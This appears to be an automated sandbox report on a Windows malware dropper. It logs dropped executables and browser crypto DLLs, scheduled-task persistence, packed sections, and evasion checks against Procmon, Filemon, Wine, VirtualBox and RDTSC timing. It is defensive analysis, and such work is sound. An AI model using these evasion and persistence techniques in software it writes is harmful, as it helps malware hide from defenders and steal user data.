Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1777664 > 1048576

Source: file.exe

Static PE information: Raw size of paeyyrqu is bigger than: 0x100000 < 0x198200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2012648622.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;paeyyrqu:EW;kjakwbwf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;paeyyrqu:EW;kjakwbwf:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Unpacked PE file: 24.2.DocumentsHCGCBFHCFC.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xfvywxal:EW;xhojyhat:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA33480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA33480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: real checksum: 0x1d9fc3 should be: 0x1d8496
Source: file.exe	Static PE information: real checksum: 0x1b81c2 should be: 0x1b3c6e
Source: random[1].exe.28.dr	Static PE information: real checksum: 0x45568a should be: 0x4518d8
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d9fc3 should be: 0x1d8496
Source: b2638941c0.exe.28.dr	Static PE information: real checksum: 0x45568a should be: 0x4518d8
Source: skotes.exe.24.dr	Static PE information: real checksum: 0x1d9fc3 should be: 0x1d8496

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: paeyyrqu
Source: file.exe	Static PE information: section name: kjakwbwf
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: xfvywxal
Source: random[1].exe.0.dr	Static PE information: section name: xhojyhat
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name:
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: xfvywxal
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: xhojyhat
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: xfvywxal
Source: skotes.exe.24.dr	Static PE information: section name: xhojyhat
Source: skotes.exe.24.dr	Static PE information: section name: .taggant
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: xdoawxra
Source: random[1].exe.28.dr	Static PE information: section name: tquinoww
Source: random[1].exe.28.dr	Static PE information: section name: .taggant
Source: b2638941c0.exe.28.dr	Static PE information: section name:
Source: b2638941c0.exe.28.dr	Static PE information: section name: .idata
Source: b2638941c0.exe.28.dr	Static PE information: section name:
Source: b2638941c0.exe.28.dr	Static PE information: section name: xdoawxra
Source: b2638941c0.exe.28.dr	Static PE information: section name: tquinoww
Source: b2638941c0.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B536 push ecx; ret		0_2_6CA6B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00DFD91C push ecx; ret		28_2_00DFD92F

Source: file.exe	Static PE information: section name: paeyyrqu entropy: 7.952597329057931
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.982309574545047
Source: random[1].exe.0.dr	Static PE information: section name: xfvywxal entropy: 7.954652412408474
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: entropy: 7.982309574545047
Source: DocumentsHCGCBFHCFC.exe.0.dr	Static PE information: section name: xfvywxal entropy: 7.954652412408474
Source: skotes.exe.24.dr	Static PE information: section name: entropy: 7.982309574545047
Source: skotes.exe.24.dr	Static PE information: section name: xfvywxal entropy: 7.954652412408474
Source: random[1].exe.28.dr	Static PE information: section name: xdoawxra entropy: 7.955406124956802
Source: b2638941c0.exe.28.dr	Static PE information: section name: xdoawxra entropy: 7.955406124956802

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCGCBFHCFC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHCGCBFHCFC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCGCBFHCFC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCGCBFHCFC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHCGCBFHCFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9570B3 second address: 9570B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9570B7 second address: 9570DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA1h 0x00000007 jo 00007F4348DC2F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F4348DC2F9Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960166 second address: 960182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F4348BCFDF4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96074B second address: 96078D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4348DC2FA2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007F4348DC2F96h 0x00000013 jnl 00007F4348DC2F96h 0x00000019 jmp 00007F4348DC2FA5h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96078D second address: 960791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960791 second address: 9607BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F4348DC2FA7h 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jng 00007F4348DC2F96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96469E second address: 9646B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9647B6 second address: 96481A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4348DC2FA7h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jl 00007F4348DC2FA2h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F4348DC2FA2h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F4348DC2FA7h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96481A second address: 96481F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96481F second address: 964829 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4348DC2F9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964829 second address: 96483D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F4348BCFDE8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964932 second address: 964957 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4348DC2F98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D3087h], edx 0x00000011 push 00000000h 0x00000013 and ecx, dword ptr [ebp+122D1B7Ah] 0x00000019 push 1E0CD5DDh 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964957 second address: 96495B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
